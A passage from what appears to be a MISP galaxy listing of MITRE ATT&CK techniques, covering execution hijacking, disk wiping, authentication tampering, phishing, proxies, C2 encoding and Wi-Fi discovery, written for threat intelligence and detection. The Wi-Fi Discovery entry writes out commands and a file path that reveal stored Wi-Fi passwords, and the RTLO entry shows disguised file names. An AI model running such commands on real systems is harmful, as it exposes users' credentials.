Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1457 |
Related clusters
To see the related clusters, click here.
Hijack Execution Flow - T1574
Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.
There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.
Internal MISP references
UUID aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6 which can be used as unique global reference for Hijack Execution Flow - T1574 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1574 |
| kill_chain | ['attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Windows:persistence', 'attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation', 'attack-Windows:privilege-escalation', 'attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation', 'Service: Service Metadata', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Plist File Modification - T1647
Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the info.plist file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description)
Adversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. Hidden Window) or running additional commands for persistence (ex: Launch Agent/Launch Daemon or Re-opened Applications).
For example, adversaries can add a malicious application path to the ~/Library/Preferences/com.apple.dock.plist file, which controls apps that appear in the Dock. Adversaries can also modify the LSUIElement key in an application’s info.plist file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as LSEnvironment, to enable persistence via Dynamic Linker Hijacking.(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)
Internal MISP references
UUID 7d20fff9-8751-404e-badd-ccd71bda0236 which can be used as unique global reference for Plist File Modification - T1647 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1647 |
| kill_chain | ['attack-macOS:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Modification', 'Process: Process Creation'] |
| mitre_platforms | ['macOS'] |
Disk Structure Wipe - T1487
Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources.
Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. Disk Structure Wipe may be performed in isolation, or along with Disk Content Wipe if all sectors of a disk are wiped.
To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like Valid Accounts, OS Credential Dumping, and Windows Admin Shares.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)
Internal MISP references
UUID 2e114e45-2c50-404c-804a-3af9564d240e which can be used as unique global reference for Disk Structure Wipe - T1487 in MISP communities and other software using the MISP galaxy
External references
- http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/ - webarchive
- https://attack.mitre.org/techniques/T1487 - webarchive
- https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf - webarchive
- https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/ - webarchive
- https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html - webarchive
- https://www.symantec.com/connect/blogs/shamoon-attacks - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1487 |
| kill_chain | ['attack-Windows:impact', 'attack-macOS:impact', 'attack-Linux:impact'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux'] |
Related clusters
To see the related clusters, click here.
Disk Content Wipe - T1488
Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.
Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like RawDisk to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from Data Destruction because sections of the disk erased instead of individual files.
To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like Valid Accounts, OS Credential Dumping, and Windows Admin Shares.(Citation: Novetta Blockbuster Destructive Malware)
Internal MISP references
UUID b82f7d37-b826-4ec9-9391-8e121c78aed7 which can be used as unique global reference for Disk Content Wipe - T1488 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1488 - webarchive
- https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf - webarchive
- https://www.justice.gov/opa/press-release/file/1092091/download - webarchive
- https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1488 |
| kill_chain | ['attack-Linux:impact', 'attack-macOS:impact', 'attack-Windows:impact'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Modify Authentication Process - T1556
Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using Valid Accounts.
Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.
Internal MISP references
UUID f4c1826f-a322-41cd-9557-562100848c84 which can be used as unique global reference for Modify Authentication Process - T1556 in MISP communities and other software using the MISP galaxy
External references
- https://adsecurity.org/?p=2053 - webarchive
- https://attack.mitre.org/techniques/T1556 - webarchive
- https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/ - webarchive
- https://technet.microsoft.com/en-us/library/dn487457.aspx - webarchive
- https://www.secureworks.com/research/skeleton-key-malware-analysis - webarchive
- https://xorrior.com/persistent-credential-theft/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1556 |
| kill_chain | ['attack-Windows:credential-access', 'attack-Linux:credential-access', 'attack-macOS:credential-access', 'attack-Network:credential-access', 'attack-Azure-AD:credential-access', 'attack-Google-Workspace:credential-access', 'attack-IaaS:credential-access', 'attack-Office-365:credential-access', 'attack-SaaS:credential-access', 'attack-Windows:defense-evasion', 'attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Network:defense-evasion', 'attack-Azure-AD:defense-evasion', 'attack-Google-Workspace:defense-evasion', 'attack-IaaS:defense-evasion', 'attack-Office-365:defense-evasion', 'attack-SaaS:defense-evasion', 'attack-Windows:persistence', 'attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Network:persistence', 'attack-Azure-AD:persistence', 'attack-Google-Workspace:persistence', 'attack-IaaS:persistence', 'attack-Office-365:persistence', 'attack-SaaS:persistence'] |
| mitre_data_sources | ['Active Directory: Active Directory Object Modification', 'Application Log: Application Log Content', 'Cloud Service: Cloud Service Modification', 'File: File Creation', 'File: File Modification', 'Logon Session: Logon Session Creation', 'Module: Module Load', 'Process: OS API Execution', 'Process: Process Access', 'User Account: User Account Authentication', 'User Account: User Account Modification', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS', 'Network', 'Azure AD', 'Google Workspace', 'IaaS', 'Office 365', 'SaaS'] |
Uninstall Malicious Application - T1576
Adversaries may include functionality in malware that uninstalls the malicious application from the device. This can be achieved by:
- Abusing device owner permissions to perform silent uninstallation using device owner API calls.
- Abusing root permissions to delete files from the filesystem.
- Abusing the accessibility service. This requires an intent be sent to the system to request uninstallation, and then abusing the accessibility service to click the proper places on the screen to confirm uninstallation.
Internal MISP references
UUID 8c7862ff-3449-4ac6-b0fd-ac1298a822a5 which can be used as unique global reference for Uninstall Malicious Application - T1576 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1576 |
| kill_chain | ['mobile-attack-Android:defense-evasion'] |
| mitre_platforms | ['Android'] |
Related clusters
To see the related clusters, click here.
Compromise Application Executable - T1577
Adversaries may modify applications installed on a device to establish persistent access to a victim. These malicious modifications can be used to make legitimate applications carry out adversary tasks when these applications are in use.
There are multiple ways an adversary can inject malicious code into applications. One method is by taking advantages of device vulnerabilities, the most well-known being Janus, an Android vulnerability that allows adversaries to add extra bytes to APK (application) and DEX (executable) files without affecting the file's signature. By being able to add arbitrary bytes to valid applications, attackers can seamlessly inject code into genuine executables without the user's knowledge.(Citation: Guardsquare Janus)
Adversaries may also rebuild applications to include malicious modifications. This can be achieved by decompiling the genuine application, merging it with the malicious code, and recompiling it.(Citation: CheckPoint Agent Smith)
Adversaries may also take action to conceal modifications to application executables and bypass user consent. These actions include altering modifications to appear as an update or exploiting vulnerabilities that allow activities of the malicious application to run inside a system application.(Citation: CheckPoint Agent Smith)
Internal MISP references
UUID d3bc5020-f6a2-41c0-8ccb-5e563101b60c which can be used as unique global reference for Compromise Application Executable - T1577 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1577 |
| kill_chain | ['mobile-attack-Android:persistence'] |
| mitre_platforms | ['Android'] |
Search Closed Sources - T1597
Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)
Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).
Internal MISP references
UUID a51eb150-93b1-484b-a503-e51453b127a4 which can be used as unique global reference for Search Closed Sources - T1597 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1597 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Phishing for Information - T1598
Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code.
All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.
Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)
Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce)
Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014)
Internal MISP references
UUID cca0ccb6-a068-4574-a722-b1556f86833a which can be used as unique global reference for Phishing for Information - T1598 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1598 - webarchive
- https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends - webarchive
- https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide - webarchive
- https://github.com/ryhanson/phishery - webarchive
- https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/ - webarchive
- https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/ - webarchive
- https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/ - webarchive
- https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing - webarchive
- https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf - webarchive
- https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/ - webarchive
- https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages - webarchive
- https://www.proofpoint.com/us/threat-reference/email-spoofing - webarchive
- https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1598 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['PRE'] |
Network Boundary Bridging - T1599
Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.
Devices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.
When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via Multi-hop Proxy or exfiltration of data via Traffic Duplication. Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with Internal Proxy to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021) In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.
Internal MISP references
UUID b8017880-4b1e-42de-ad10-ae7ac6705166 which can be used as unique global reference for Network Boundary Bridging - T1599 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1599 |
| kill_chain | ['attack-Network:defense-evasion'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Network'] |
At (Linux) - T1053.001
Adversaries may abuse the at utility to perform task scheduling for initial, recurring, or future execution of malicious code. The at command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)
An adversary may use at in Linux environments to execute programs at system startup or on a scheduled basis for persistence. at can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.
Adversaries may also abuse at to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, at may also be used for Privilege Escalation if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)
Internal MISP references
UUID 6636bc83-0611-45a6-b74f-1f3daf635b8e which can be used as unique global reference for At (Linux) - T1053.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1053/001 - webarchive
- https://gtfobins.github.io/gtfobins/at/ - webarchive
- https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/ - webarchive
- https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1053.001 |
| kill_chain | ['attack-Linux:execution', 'attack-Linux:persistence', 'attack-Linux:privilege-escalation'] |
| mitre_platforms | ['Linux'] |
Related clusters
To see the related clusters, click here.
Mark-of-the-Web Bypass - T1553.005
Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)
Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)
Internal MISP references
UUID 7e7c2fba-7cca-486c-9582-4c1bb2851961 which can be used as unique global reference for Mark-of-the-Web Bypass - T1553.005 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1553/005 - webarchive
- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8 - webarchive
- https://gist.github.com/wdormann/fca29e0dcda8b5c0472e73e10c78c3e7 - webarchive
- https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316 - webarchive
- https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/ - webarchive
- https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1553.005 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['File: File Creation', 'File: File Metadata'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Right-to-Left Override - T1036.002
Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\u202Egnp.js will be displayed as photo_high_resj.png.(Citation: Infosecinstitute RTLO Technique)
Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with Spearphishing Attachment/Malicious File since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.
Internal MISP references
UUID 77eae145-55db-4519-8ae5-77b0c7215d69 which can be used as unique global reference for Right-to-Left Override - T1036.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1036/002 - webarchive
- https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/ - webarchive
- https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/ - webarchive
- https://securelist.com/zero-day-vulnerability-in-telegram/83800/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1036.002 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['File: File Metadata'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Multi-hop Proxy - T1090.003
Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.
For example, adversaries may construct or use onion routing networks – such as the publicly available Tor network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network.(Citation: Onion Routing)
In the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., Network Devices). By leveraging Patch System Image on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the Network Boundary Bridging method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport.
Similarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.(Citation: NGLite Trojan)
Internal MISP references
UUID a782ebe2-daba-42c7-bc82-e8e9d923162d which can be used as unique global reference for Multi-hop Proxy - T1090.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1090.003 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control', 'attack-Network:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Related clusters
To see the related clusters, click here.
One-Way Communication - T1102.003
Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.
Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Internal MISP references
UUID 9c99724c-a483-4d60-ad9d-7f004e42e8e8 which can be used as unique global reference for One-Way Communication - T1102.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1102.003 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Wi-Fi Discovery - T1016.002
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of Account Discovery, Remote System Discovery, and other discovery or Credential Access activity to support both ongoing and future campaigns.
Adversaries may collect various types of information about Wi-Fi networks from hosts. For example, on Windows names and passwords of all Wi-Fi networks a device has previously connected to may be available through netsh wlan show profiles to enumerate Wi-Fi names and then netsh wlan show profile “Wi-Fi name” key=clear to show a Wi-Fi network’s corresponding password.(Citation: BleepingComputer Agent Tesla steal wifi passwords)(Citation: Malware Bytes New AgentTesla variant steals WiFi credentials)(Citation: Check Point APT35 CharmPower January 2022) Additionally, names and other details of locally reachable Wi-Fi networks can be discovered using calls to wlanAPI.dll Native API functions.(Citation: Binary Defense Emotes Wi-Fi Spreader)
On Linux, names and passwords of all Wi-Fi-networks a device has previously connected to may be available in files under /etc/NetworkManager/system-connections/.(Citation: Wi-Fi Password of All Connected Networks in Windows/Linux) On macOS, the password of a known Wi-Fi may be identified with security find-generic-password -wa wifiname (requires admin username/password).(Citation: Find Wi-Fi Password on Mac)
Internal MISP references
UUID 494ab9f0-36e0-4b06-b10d-57285b040a06 which can be used as unique global reference for Wi-Fi Discovery - T1016.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1016/002 - webarchive
- https://mackeeper.com/blog/find-wi-fi-password-on-mac/ - webarchive
- https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/ - webarchive
- https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/ - webarchive
- https://www.bleepingcomputer.com/news/security/hackers-steal-wifi-passwords-using-upgraded-agent-tesla-malware/ - webarchive
- https://www.geeksforgeeks.org/wi-fi-password-connected-networks-windowslinux/ - webarchive
- https://www.malwarebytes.com/blog/news/2020/04/new-agenttesla-variant-steals-wifi-credentials - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1016.002 |
| kill_chain | ['attack-Linux:discovery', 'attack-macOS:discovery', 'attack-Windows:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Drive-by Target - T1608.004
Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure).
Adversaries may upload or inject malicious web content, such as JavaScript, into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including:
- Inserting malicious scripts into web pages or other user controllable web content such as forum posts
- Modifying script files served to websites from publicly writeable cloud storage buckets
- Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising)
In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)
Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.
Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.
Internal MISP references
UUID 31fe0ba2-62fd-4fd9-9293-4043d84f7fe9 which can be used as unique global reference for Drive-by Target - T1608.004 in MISP communities and other software using the MISP galaxy
External references
- http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/ - webarchive
- https://attack.mitre.org/techniques/T1608/004 - webarchive
- https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks - webarchive
- https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1608.004 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Internet Scan: Response Content'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Non-Standard Encoding - T1132.002
Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding)
Internal MISP references
UUID d467bc38-284b-4a00-96ac-125f447799fc which can be used as unique global reference for Non-Standard Encoding - T1132.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1132.002 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
SID-History Injection - T1134.005
